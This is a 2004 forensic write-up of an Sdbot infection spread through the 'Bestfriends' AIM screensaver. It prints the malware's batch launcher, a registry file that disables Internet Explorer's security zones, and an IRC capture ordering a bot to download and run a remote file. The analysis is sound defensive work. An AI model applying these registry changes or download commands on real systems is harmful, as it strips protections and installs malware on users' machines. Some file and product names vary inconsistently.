Last Updated: Monday December 06, 2004
Michael Ligh (firstname.lastname@example.org)
"Looks can be deceiving, even if it's your best friend!"
I was informed by a coworker that nothing was extremely suspicious except task manager and regedit were terminated immediately after being called, preventing the user from accessing those resources. This in and of itself was suspicious enough for me (rootkit?), so we started looking closer. The day was October 27th.
It didn't take long to find two non-standard processes running: KAZAALITE.EXE and KaperskyAV.exe, both in C:\WINDOWS\SYSTEM32. This was indicative of major infection because: 1) Kazaa and Kapersky Anti-Virus were not installed on the PC 2) even if they were, the executable would be kept in the proper place, with the rest of the C:\Program Files and 3) these are not the legitimate names of Kazaa and Kapersky executables.
Together these two processes were bound to TCP ports 113, 3176, 3177, and UDP 123, 137, 445, 3040. Just as fast as this was noted, we found several other key elements - suspiciously named files in the C: root directory named install.exe, x.bat, staff.html, k.html, and TROFKG.REG. We'll explore these files in detail later, but with CA InoculateIT Anti-Virus installed on the PC, the real-time scanning logs seemed like a good place to look next for some high level clues.
According to CA, as early as 10/21 the file TROFKZ.REG was found on the desktop and quarantined. On 10/23 it was found in two completely different directories and quarantined. By 10/24 it had made it back to the desktop and once again quarantined. On 10/26 it found Win32/Sdbot.FN.Worm in the temporary internet files by the name of BESTFRIENDS.SCR.
The Sdbot family is one of the largest, most versatile. Over several thousand variants are known, and rather than taking someone else's analysis for granted - this may well be a customized version so consulting the evidence for this case in particular is the best bet to finding the facts. There is a lot going on here - our goal is to find out what happened first and how it all unraveled from that point on.We started by running install.exe in a test environment and verified that x.bat, k.html, staff.html, and TROFKZ.REG were all extracted during this process. From there, the order of things were pretty clear, especially after consulting the contents of x.bat:
@echo off REGEDIT /s trofkz.REG k.html staff.html exit
This (x.bat) was likely run immediately after install.exe finished unpacking itself. The script first runs trofkz.REG to modify the victim's registry settings; in particular to reduce the Internet Explorer security zone settings to a bare minimum. Here is the contents of trofkz.REG:
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] "1004"=dword:00000000 "1201"=dword:00000000 [..more similar entries here...] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults] "http"=dword:00000000
After all of that was said and done, Internet Explorer (the default browser on most Windows machines) was as vulnerable of a browser as you could possibly get. That's why the order of things is so critical here, the next thing that x.bat does is run k.html and staff.html with the system's default browser (whose main security defense has just been deactivated!). We can say with a high certainty that watever these web pages were programmed to do - IE would let it.
First, k.html was run. Here is the contents:
You'll notice the signature string [ y E a K u K z ] - everyone who thinks they're special has to leave a mark; and this happens to be pretty unique. Before moving on, also take a look at staff.html, presented below.
Exactly what these two HTML files lead to is unknown (well, a lot of spyware for sure), but nothing obvious points to Sdbot or a larger scale exploit. Let's take a step back for a moment and look where we're at. We know install.exe was the cause of everything discussed so far, but still don't know where install.exe itself came from. It was there before the IE security settings were altered. It was there before the MediaTickets and other spyware components. So, where the hell did install.exe come from?
I turned to Google with the search criteria of "[ y E a K u K z ]," x.bat, and trofkz.reg (no use searching for Sdbot yet - there are too many ambiguous results). They led to a similar place: the "Bestfriends" AIM virus. That's it!! Bestfriends. How ironic.
Several sources unleash some detail on how users get infected. According to a College's release to students, once infected the virus spreads by way of AIM buddy lists and links to Bestfriends.SCR in profiles and away messages. The notification is can be found here. Additionally, another source of information noted that "This virus not only interferes with AIM, but also prevents task manager, regedit, or msconfig from staying open."
Good to know. The laptop owner stated her daughter had been using AIM recently; and that she tried to install a screensaver or theme-like program. This is an instance in which firewalls and even Anti-virus scanners are helpless - the computer administrator granted an arbitrary executable permission to run and it did what she asked.
Nearing satisfaction of a job well done, another mystery solved; I realized that CA had detected TROFKZ.REG on 10/21 and BESTFRIENDS.SCR on 10/26, placing these two events 5 days apart. Were they connected or was something else responsible for initial infection on or before 10/21?
The truth is - CA's real-time scanner isn't all that real-time. BESTFRIENDS.SCR was detected when someone attempted to clear the Temporary Internet Files directory, which was the first time it had been accessed since the install. If CA was programmed to do a nightly scan of the entire file system, it probably would have been detected a long time before 10/26.
KAZAALITE.EXE and KasperskyAV.exe were unveiled by BESTFRIENDS.SCR. Though CA detected Sdbot within the screensaver, the real viral/trojan processes were the two named here. Both were sent through Virus Total and we obtained the following results:
Scan results File: kasperskyav.exe Date: 10/28/2004 00:33:04 ---- BitDefender 7.0/20041027 found [Backdoor.SDBot.Gen] ClamWin devel-20041018/20041027 found nothing eTrust-Iris 188.8.131.52/20041026 found nothing F-Prot 3.15b/20041027 found nothing Kaspersky 184.108.40.206/20041027 found [Backdoor.Win32.SdBot.gen] NOD32v2 1.908/20041027 found nothing Norman 5.70.10/20041027 found [W32/Backdoor] Panda 7.02.00/20041027 found nothing Sybari 7.5.1314/20041027 found [W32/Sdbot.worm.gen.j] Symantec 8.0/20041027 found nothing Scan results File: kazaalite.exe Date: 10/28/2004 00:35:32 ---- BitDefender 7.0/20041027 found [Win32.P2P.SpyBot.Gen] ClamWin devel-20041018/20041027 found nothing eTrust-Iris 220.127.116.11/20041026 found nothing F-Prot 3.15b/20041027 found nothing Kaspersky 18.104.22.168/20041027 found [Backdoor.Spyboter.gen] NOD32v2 1.908/20041027 found nothing Norman 5.70.10/20041027 found nothing Panda 7.02.00/20041027 found nothing Sybari 7.5.1314/20041027 found [Backdoor.Spyboter.gen]
I'm now very confident knowing exactly how this all started and the steps that lead up to Sdbot being installed on the PC. The question remains, if it occured as early as 10/21, how much damage was done between then and 10/26 when we isolated it? Sdbot is known for spreading wildly and allowing remote administrative access to all or most of the computer's resources.
This is when the research goes from analysis of identified evidence to an expiriment of true empirical nature. If BESTFRIENDS.SCR was the initial source of infection, and CA has quarantined it, why not un-quarantine it and release it back into the wild under close supervision. Of course we'll do this under very careful circumstances.
I took a Windows XP VMware image, installed CA InoculateIE, placed BESTFRIENDS.SCR into the quarantine, then released it. I now had a copy of the original file used to exploit the laptop. Marvelous.
Hold on a second, though. In the real exploit, the infection date was likely 10/21 - when install.exe and BESTFRIENDS.SCR showed up. We don't have any direct correlation between these two pieces of malware, though they occured around the same time. It was not until after this re-enactment that the time order relationship of these two events was finally proven.
BESTFRIENDS.SCR was executed and hell broke loose. The machine made an IRC connection to a student's PC at Yale University (they may be smart but obviously someone who likes breaking into computers is smarter). Our test machine sat there innocently, logged in to the IRC channel and began awaiting commands, which was not a long wait at all. A broadcast to the group instructed us to download pz.x from angelfire.com and save it to C:\install.exe. Here is the packet capture minus headers and Hex:
:bddslg!nylx@=so f-11-5-261-203.c lient.comcast.ne t JOIN :#dwi..:i rc.mindless.net 353 bddslg = #dw i :njbm @kjwkq.. :irc.mindless.ne t 366 bddslg #dw i :End of /NAMES list...:irc.min dless.net 332 bd dslg #dwi :.down load http://www. angelfire.com/ap es2/lolz/pz.x C: \Install.exe 1 - s..:irc.mindless .net 333 bddslg #dwi kjwkq 10990 02018..
In a matter of minutes, the host machine downloaded and installed over 100 executables and DLL files from various sites on the Internet. Install.exe was centerstage.
In homocide forensics, a corpse can tell an extraordinary story. In this case, it was just a screen saver.
The user signed on AIM, clicked a friend's profile or away message, and agreed to install BESTFREINDS.SCR. This program ran, quitely connecting to an IRC server at Yale and accepting commands to download pz.x. This file was fetched and saved to C:\install.exe, where it was executed into x.bat, k.html, staff.html and trofkz.reg. X.bat ran and removed the IE security zone settings, then set off the two html files. The PC accessed prompt.php and mtrslib2.js which began the influx of 100 more infected programs. Damn.